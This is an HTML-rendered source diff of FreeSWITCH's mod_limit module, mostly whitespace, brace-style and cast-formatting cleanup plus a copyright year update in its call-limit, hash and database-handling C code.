</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -51,12 +51,12 @@
</span><span class="cx">         char *odbc_pass;
</span><span class="cx">         switch_mutex_t *mutex;
</span><span class="cx">         switch_mutex_t *limit_hash_mutex;
</span><del>-        switch_hash_t *limit_hash;        
</del><ins>+        switch_hash_t *limit_hash;
</ins><span class="cx">         switch_mutex_t *db_hash_mutex;
</span><del>-        switch_hash_t *db_hash;        
</del><ins>+        switch_hash_t *db_hash;
</ins><span class="cx"> } globals;
</span><span class="cx"> 
</span><del>-typedef struct  {
</del><ins>+typedef struct {
</ins><span class="cx">         uint32_t total_usage;
</span><span class="cx">         uint32_t rate_usage;
</span><span class="cx">         time_t last_check;
</span><span class="lines">@@ -68,43 +68,33 @@
</span><span class="cx"> 
</span><span class="cx"> static char limit_sql[] =
</span><span class="cx">         &quot;CREATE TABLE limit_data (\n&quot;
</span><del>-        &quot;   hostname   VARCHAR(255),\n&quot;
-        &quot;   realm      VARCHAR(255),\n&quot;
-        &quot;   id         VARCHAR(255),\n&quot;
-        &quot;   uuid       VARCHAR(255)\n&quot;
-        &quot;);\n&quot;;
</del><ins>+        &quot;   hostname   VARCHAR(255),\n&quot; &quot;   realm      VARCHAR(255),\n&quot; &quot;   id         VARCHAR(255),\n&quot; &quot;   uuid       VARCHAR(255)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> static char db_sql[] =
</span><span class="cx">         &quot;CREATE TABLE db_data (\n&quot;
</span><del>-        &quot;   hostname   VARCHAR(255),\n&quot;
-        &quot;   realm      VARCHAR(255),\n&quot;
-        &quot;   data_key   VARCHAR(255),\n&quot;
-        &quot;   data       VARCHAR(255)\n&quot;
-        &quot;);\n&quot;;
</del><ins>+        &quot;   hostname   VARCHAR(255),\n&quot; &quot;   realm      VARCHAR(255),\n&quot; &quot;   data_key   VARCHAR(255),\n&quot; &quot;   data       VARCHAR(255)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> static char group_sql[] =
</span><del>-        &quot;CREATE TABLE group_data (\n&quot;
-        &quot;   hostname   VARCHAR(255),\n&quot;
-        &quot;   groupname  VARCHAR(255),\n&quot;
-        &quot;   url        VARCHAR(255)\n&quot;
-        &quot;);\n&quot;;
</del><ins>+        &quot;CREATE TABLE group_data (\n&quot; &quot;   hostname   VARCHAR(255),\n&quot; &quot;   groupname  VARCHAR(255),\n&quot; &quot;   url        VARCHAR(255)\n&quot; &quot;);\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> switch_cache_db_handle_t *limit_get_db_handle(void)
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(globals.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = globals.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = globals.odbc_user;
</span><span class="cx">                 options.odbc_options.pass = globals.odbc_pass;
</span><span class="cx"> 
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         } else {
</span><span class="cx">                 options.core_db_options.db_path = globals.dbname;
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_CORE_DB, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_CORE_DB, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -127,7 +117,7 @@
</span><span class="cx">         status = switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx"> 
</span><span class="cx">   end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx"> 
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -142,16 +132,16 @@
</span><span class="cx">         switch_bool_t ret = SWITCH_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!(dbh = limit_get_db_handle())) {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
-        goto end;
-    }
-        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
+                goto end;
+        }
+
</ins><span class="cx">         switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &amp;errmsg);
</span><span class="cx"> 
</span><span class="cx">         if (errmsg) {
</span><span class="lines">@@ -174,8 +164,8 @@
</span><span class="cx"> static switch_xml_config_string_options_t limit_config_dsn = { NULL, 0, &quot;[^:]+:[^:]+:.+&quot; };
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_config_item_t config_settings[] = {
</span><del>-        SWITCH_CONFIG_ITEM(&quot;odbc-dsn&quot;, SWITCH_CONFIG_STRING, 0, &amp;globals.odbc_dsn, NULL, &amp;limit_config_dsn,  
-                &quot;dsn:username:password&quot;, &quot;If set, the ODBC DSN used by the limit and db applications&quot;),
</del><ins>+        SWITCH_CONFIG_ITEM(&quot;odbc-dsn&quot;, SWITCH_CONFIG_STRING, 0, &amp;globals.odbc_dsn, NULL, &amp;limit_config_dsn,
+                                           &quot;dsn:username:password&quot;, &quot;If set, the ODBC DSN used by the limit and db applications&quot;),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -184,13 +174,13 @@
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *sql = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         limit_config_dsn.pool = globals.pool;
</span><span class="cx"> 
</span><span class="cx">         if (switch_xml_config_parse_module_settings(&quot;limit.conf&quot;, SWITCH_FALSE, config_settings) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.odbc_dsn) {
</span><span class="cx">                 if ((globals.odbc_user = strchr(globals.odbc_dsn, ':'))) {
</span><span class="cx">                         *globals.odbc_user++ = '\0';
</span><span class="lines">@@ -203,8 +193,8 @@
</span><span class="cx">                         globals.odbc_dsn = globals.odbc_user = globals.odbc_pass;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (zstr(globals.odbc_dsn)) {
</span><span class="cx">                 globals.dbname = &quot;call_limit&quot;;
</span><span class="cx">                 dbh = limit_get_db_handle();
</span><span class="lines">@@ -225,16 +215,16 @@
</span><span class="cx">                         NULL
</span><span class="cx">                 };
</span><span class="cx"> 
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 switch_cache_db_test_reactive(dbh, &quot;select * from limit_data&quot;, NULL, limit_sql);
</span><span class="cx">                 switch_cache_db_test_reactive(dbh, &quot;select * from db_data&quot;, NULL, db_sql);
</span><span class="cx">                 switch_cache_db_test_reactive(dbh, &quot;select * from group_data&quot;, NULL, group_sql);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (x = 0; indexes[x]; x++) {
</span><span class="cx">                         switch_cache_db_execute_sql(dbh, indexes[x], NULL);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx"> 
</span><span class="cx">                 sql = switch_mprintf(&quot;delete from limit_data where hostname='%q';&quot;, globals.hostname);
</span><span class="lines">@@ -248,7 +238,7 @@
</span><span class="cx"> static void limit_fire_event(const char *realm, const char *key, uint32_t usage, uint32_t rate, uint32_t max, uint32_t ratemax)
</span><span class="cx"> {
</span><span class="cx">         switch_event_t *event;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_event_create_subclass(&amp;event, SWITCH_EVENT_CUSTOM, LIMIT_EVENT_USAGE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;realm&quot;, realm);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;key&quot;, key);
</span><span class="lines">@@ -268,8 +258,7 @@
</span><span class="cx">         const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
</span><span class="cx"> 
</span><span class="cx">         if (state &gt;= CS_HANGUP || (state == CS_ROUTING &amp;&amp; !switch_true(vval))) {
</span><del>-                sql = switch_mprintf(&quot;delete from limit_data where uuid='%q';&quot;,
-                                                         switch_core_session_get_uuid(session));
</del><ins>+                sql = switch_mprintf(&quot;delete from limit_data where uuid='%q';&quot;, switch_core_session_get_uuid(session));
</ins><span class="cx">                 limit_execute_sql(sql, globals.mutex);
</span><span class="cx">                 switch_safe_free(sql);
</span><span class="cx">                 switch_core_event_hook_remove_state_change(session, db_state_handler);
</span><span class="lines">@@ -279,47 +268,46 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t hash_state_handler(switch_core_session_t *session) 
</del><ins>+static switch_status_t hash_state_handler(switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_channel_state_t state = switch_channel_get_state(channel);
</span><span class="cx">         limit_hash_private_t *pvt = switch_channel_get_private(channel, &quot;limit_hash&quot;);
</span><span class="cx">         const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* The call is either hung up, or is going back into the dialplan, decrement appropriate couters */
</span><del>-        if (state &gt;= CS_HANGUP || (state == CS_ROUTING &amp;&amp; !switch_true(vval))) {        
</del><ins>+        if (state &gt;= CS_HANGUP || (state == CS_ROUTING &amp;&amp; !switch_true(vval))) {
</ins><span class="cx">                 switch_hash_index_t *hi;
</span><span class="cx">                 switch_mutex_lock(globals.limit_hash_mutex);
</span><span class="cx"> 
</span><span class="cx">                 /* Loop through the channel's hashtable which contains mapping to all the limit_hash_item_t referenced by that channel */
</span><del>-                while((hi = switch_hash_first(NULL, pvt-&gt;hash)))
-                {
</del><ins>+                while ((hi = switch_hash_first(NULL, pvt-&gt;hash))) {
</ins><span class="cx">                         void *val = NULL;
</span><span class="cx">                         const void *key;
</span><span class="cx">                         switch_ssize_t keylen;
</span><span class="cx">                         limit_hash_item_t *item = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_hash_this(hi, &amp;key, &amp;keylen, &amp;val);
</span><del>-                        
-                        item = (limit_hash_item_t*)val;
-                        item-&gt;total_usage--;        
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d\n&quot;, (const char*)key, item-&gt;total_usage);
-                        
-                        if (item-&gt;total_usage == 0)  {
</del><ins>+
+                        item = (limit_hash_item_t *) val;
+                        item-&gt;total_usage--;
+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d\n&quot;, (const char *) key, item-&gt;total_usage);
+
+                        if (item-&gt;total_usage == 0) {
</ins><span class="cx">                                 /* Noone is using this item anymore */
</span><del>-                                switch_core_hash_delete(globals.limit_hash, (const char*)key);
</del><ins>+                                switch_core_hash_delete(globals.limit_hash, (const char *) key);
</ins><span class="cx">                                 free(item);
</span><span class="cx">                         }
</span><del>-                        
-                        switch_core_hash_delete(pvt-&gt;hash, (const char*)key);
</del><ins>+
+                        switch_core_hash_delete(pvt-&gt;hash, (const char *) key);
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Remove handler */
</span><span class="cx">                 switch_core_event_hook_remove_state_change(session, hash_state_handler);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_unlock(globals.limit_hash_mutex);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -474,21 +462,21 @@
</span><span class="cx">         char *mydata = NULL;
</span><span class="cx">         char *hash_key = NULL;
</span><span class="cx">         char *value = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.db_hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(data)) {
</span><span class="cx">                 mydata = strdup(data);
</span><span class="cx">                 switch_assert(mydata);
</span><span class="cx">                 argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 3 || !argv[0]) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         hash_key = switch_mprintf(&quot;%s_%s&quot;, argv[1], argv[2]);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[0], &quot;insert&quot;)) {
</span><span class="cx">                 if (argc &lt; 4) {
</span><span class="cx">                         goto usage;
</span><span class="lines">@@ -508,13 +496,13 @@
</span><span class="cx">         } else {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         goto done;
</span><span class="cx"> 
</span><del>-usage:
</del><ins>+  usage:
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;USAGE: hash %s\n&quot;, HASH_USAGE);
</span><span class="cx"> 
</span><del>-done:
</del><ins>+  done:
</ins><span class="cx">         switch_mutex_unlock(globals.db_hash_mutex);
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_safe_free(hash_key);
</span><span class="lines">@@ -536,13 +524,13 @@
</span><span class="cx">                 switch_assert(mydata);
</span><span class="cx">                 argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 3 || !argv[0]) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         hash_key = switch_mprintf(&quot;%s_%s&quot;, argv[1], argv[2]);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[0], &quot;insert&quot;)) {
</span><span class="cx">                 if (argc &lt; 4) {
</span><span class="cx">                         goto usage;
</span><span class="lines">@@ -570,17 +558,17 @@
</span><span class="cx">         } else {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         goto done;
</span><del>-        
-usage:
</del><ins>+
+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-ERR Usage: hash %s\n&quot;, HASH_API_USAGE);
</span><del>-        
-done:
</del><ins>+
+  done:
</ins><span class="cx">         switch_mutex_unlock(globals.db_hash_mutex);
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_safe_free(hash_key);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -649,7 +637,7 @@
</span><span class="cx"> 
</span><span class="cx">                 limit_execute_sql_callback(NULL, sql, group_callback, &amp;cbt);
</span><span class="cx">                 switch_safe_free(sql);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 *(buf + (strlen(buf) - 1)) = '\0';
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, buf);
</span><span class="cx"> 
</span><span class="lines">@@ -729,9 +717,9 @@
</span><span class="cx">         got = atoi(buf);
</span><span class="cx"> 
</span><span class="cx">         if (max &lt; 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s_%s is now %d\n&quot;, realm, id, got+1);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s_%s is now %d\n&quot;, realm, id, got + 1);
</ins><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s_%s is now %d/%d\n&quot;, realm, id, got+1, max);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s_%s is now %d/%d\n&quot;, realm, id, got + 1, max);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (max &gt;= 0 &amp;&amp; got + 1 &gt; max) {
</span><span class="lines">@@ -746,7 +734,7 @@
</span><span class="cx">                                            switch_core_session_get_uuid(session));
</span><span class="cx">         limit_execute_sql(sql, NULL);
</span><span class="cx">         switch_safe_free(sql);
</span><del>-        
</del><ins>+
</ins><span class="cx">         {
</span><span class="cx">                 const char *susage = switch_core_session_sprintf(session, &quot;%d&quot;, ++got);
</span><span class="cx"> 
</span><span class="lines">@@ -787,8 +775,8 @@
</span><span class="cx"> 
</span><span class="cx">         realm = argv[0];
</span><span class="cx">         id = argv[1];
</span><del>-        
-        /* Accept '-' as unlimited (act as counter)*/
</del><ins>+
+        /* Accept '-' as unlimited (act as counter) */
</ins><span class="cx">         if (argv[2][0] == '-') {
</span><span class="cx">                 max = -1;
</span><span class="cx">         } else {
</span><span class="lines">@@ -796,7 +784,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (max &lt; 0) {
</span><span class="cx">                         max = 0;
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (argc &gt;= 4) {
</span><span class="lines">@@ -808,12 +796,12 @@
</span><span class="cx">         if (!do_limit(session, realm, id, max)) {
</span><span class="cx">                 /* Limit exceeded */
</span><span class="cx">                 if (*xfer_exten == '!') {
</span><del>-                        switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
</del><ins>+                        switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* !\brief Releases usage of a limit_-controlled ressource  */
</span><span class="lines">@@ -821,8 +809,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *sql = NULL;
</span><span class="cx"> 
</span><del>-        sql = switch_mprintf(&quot;delete from limit_data where uuid='%q' and realm='%q' and id like '%q'&quot;, 
-                                                switch_core_session_get_uuid(session), realm, id);
</del><ins>+        sql = switch_mprintf(&quot;delete from limit_data where uuid='%q' and realm='%q' and id like '%q'&quot;, switch_core_session_get_uuid(session), realm, id);
</ins><span class="cx">         limit_execute_sql(sql, globals.mutex);
</span><span class="cx">         switch_safe_free(sql);
</span><span class="cx"> }
</span><span class="lines">@@ -845,16 +832,16 @@
</span><span class="cx">                 mydata = switch_core_session_strdup(session, data);
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 2) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;USAGE: limit_execute %s\n&quot;, LIMITEXECUTE_USAGE);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         realm = argv[0];
</span><span class="cx">         id = argv[1];
</span><del>-        
-        /* Accept '-' as unlimited (act as counter)*/
</del><ins>+
+        /* Accept '-' as unlimited (act as counter) */
</ins><span class="cx">         if (argv[2][0] == '-') {
</span><span class="cx">                 max = -1;
</span><span class="cx">         } else {
</span><span class="lines">@@ -862,7 +849,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (max &lt; 0) {
</span><span class="cx">                         max = 0;
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         app = argv[3];
</span><span class="lines">@@ -915,7 +902,7 @@
</span><span class="cx"> 
</span><span class="cx">         stream-&gt;write_function(stream, &quot;%s&quot;, buf);
</span><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -937,22 +924,21 @@
</span><span class="cx">         time_t now = switch_epoch_time_now(NULL);
</span><span class="cx">         limit_hash_private_t *pvt = NULL;
</span><span class="cx">         uint8_t increment = 1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         hashkey = switch_core_session_sprintf(session, &quot;%s_%s&quot;, realm, id);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.limit_hash_mutex);
</span><span class="cx">         /* Check if that realm+id has ever been checked */
</span><del>-        if (!(item = (limit_hash_item_t*)switch_core_hash_find(globals.limit_hash, hashkey))) {
</del><ins>+        if (!(item = (limit_hash_item_t *) switch_core_hash_find(globals.limit_hash, hashkey))) {
</ins><span class="cx">                 /* No, create an empty structure and add it, then continue like as if it existed */
</span><del>-                item = (limit_hash_item_t*)malloc(sizeof(limit_hash_item_t));
</del><ins>+                item = (limit_hash_item_t *) malloc(sizeof(limit_hash_item_t));
</ins><span class="cx">                 switch_assert(item);
</span><span class="cx">                 memset(item, 0, sizeof(limit_hash_item_t));
</span><span class="cx">                 switch_core_hash_insert(globals.limit_hash, hashkey, item);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* Did we already run on this channel before? */
</span><del>-        if ((pvt = switch_channel_get_private(channel, &quot;limit_hash&quot;)))
-        {
</del><ins>+        if ((pvt = switch_channel_get_private(channel, &quot;limit_hash&quot;))) {
</ins><span class="cx">                 /* Yes, but check if we did that realm+id
</span><span class="cx">                    If we didnt, allow incrementing the counter.
</span><span class="cx">                    If we did, dont touch it but do the validation anyways
</span><span class="lines">@@ -960,7 +946,7 @@
</span><span class="cx">                 increment = !switch_core_hash_find(pvt-&gt;hash, hashkey);
</span><span class="cx">         } else {
</span><span class="cx">                 /* This is the first limit check on this channel, create a hashtable, set our prviate data and add a state handler */
</span><del>-                pvt = (limit_hash_private_t*)switch_core_session_alloc(session, sizeof(limit_hash_private_t));
</del><ins>+                pvt = (limit_hash_private_t *) switch_core_session_alloc(session, sizeof(limit_hash_private_t));
</ins><span class="cx">                 memset(pvt, 0, sizeof(limit_hash_private_t));
</span><span class="cx">                 switch_core_hash_init(&amp;pvt-&gt;hash, switch_core_session_get_pool(session));
</span><span class="cx">                 switch_channel_set_private(channel, &quot;limit_hash&quot;, pvt);
</span><span class="lines">@@ -974,13 +960,14 @@
</span><span class="cx">                         /* Always increment rate when its checked as it doesnt depend on the channel */
</span><span class="cx">                         item-&gt;rate_usage++;
</span><span class="cx"> 
</span><del>-                        if ((max &gt;= 0) &amp;&amp; (item-&gt;rate_usage &gt; (uint32_t)max)) {
-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s exceeds maximum rate of %d/%ds, now at %d\n&quot;, hashkey, max, interval, item-&gt;rate_usage);
</del><ins>+                        if ((max &gt;= 0) &amp;&amp; (item-&gt;rate_usage &gt; (uint32_t) max)) {
+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s exceeds maximum rate of %d/%ds, now at %d\n&quot;,
+                                                                  hashkey, max, interval, item-&gt;rate_usage);
</ins><span class="cx">                                 status = SWITCH_FALSE;
</span><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-        } else if ((max &gt;= 0) &amp;&amp; (item-&gt;total_usage + increment &gt; (uint32_t)max)) {
</del><ins>+        } else if ((max &gt;= 0) &amp;&amp; (item-&gt;total_usage + increment &gt; (uint32_t) max)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is already at max value (%d)\n&quot;, hashkey, item-&gt;total_usage);
</span><span class="cx">                 status = SWITCH_FALSE;
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -994,12 +981,13 @@
</span><span class="cx">                 if (max == -1) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d\n&quot;, hashkey, item-&gt;total_usage);
</span><span class="cx">                 } else if (interval == 0) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d/%d\n&quot;, hashkey, item-&gt;total_usage, max);        
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d/%d\n&quot;, hashkey, item-&gt;total_usage, max);
</ins><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d/%d for the last %d seconds\n&quot;, hashkey, item-&gt;rate_usage, max, interval);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d/%d for the last %d seconds\n&quot;, hashkey,
+                                                          item-&gt;rate_usage, max, interval);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                limit_fire_event(realm, id, item-&gt;total_usage, item-&gt;rate_usage, max, max &gt;=0 ? (uint32_t)max : 0);
</del><ins>+                limit_fire_event(realm, id, item-&gt;total_usage, item-&gt;rate_usage, max, max &gt;= 0 ? (uint32_t) max : 0);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* Save current usage &amp; rate into channel variables so it can be used later in the dialplan, or added to CDR records */
</span><span class="lines">@@ -1016,7 +1004,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_core_event_hook_add_state_change(session, hash_state_handler);
</span><span class="cx"> 
</span><del>-end:        
</del><ins>+  end:
</ins><span class="cx">         switch_mutex_unlock(globals.limit_hash_mutex);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -1028,28 +1016,28 @@
</span><span class="cx">         limit_hash_private_t *pvt = switch_channel_get_private(channel, &quot;limit_hash&quot;);
</span><span class="cx">         limit_hash_item_t *item = NULL;
</span><span class="cx">         char *hashkey = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!pvt || !pvt-&gt;hash) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         hashkey = switch_core_session_sprintf(session, &quot;%s_%s&quot;, realm, id);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.limit_hash_mutex);
</span><del>-        
-        if ((item = (limit_hash_item_t*)switch_core_hash_find(pvt-&gt;hash, hashkey))) {
-                item-&gt;total_usage--;        
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d\n&quot;, (const char*)hashkey, item-&gt;total_usage);
-        
</del><ins>+
+        if ((item = (limit_hash_item_t *) switch_core_hash_find(pvt-&gt;hash, hashkey))) {
+                item-&gt;total_usage--;
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Usage for %s is now %d\n&quot;, (const char *) hashkey, item-&gt;total_usage);
+
</ins><span class="cx">                 switch_core_hash_delete(pvt-&gt;hash, hashkey);
</span><del>-        
-                if (item-&gt;total_usage == 0)  {
</del><ins>+
+                if (item-&gt;total_usage == 0) {
</ins><span class="cx">                         /* Noone is using this item anymore */
</span><del>-                        switch_core_hash_delete(globals.limit_hash, (const char*)hashkey);
</del><ins>+                        switch_core_hash_delete(globals.limit_hash, (const char *) hashkey);
</ins><span class="cx">                         free(item);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_unlock(globals.limit_hash_mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1072,29 +1060,28 @@
</span><span class="cx">                 mydata = switch_core_session_strdup(session, data);
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
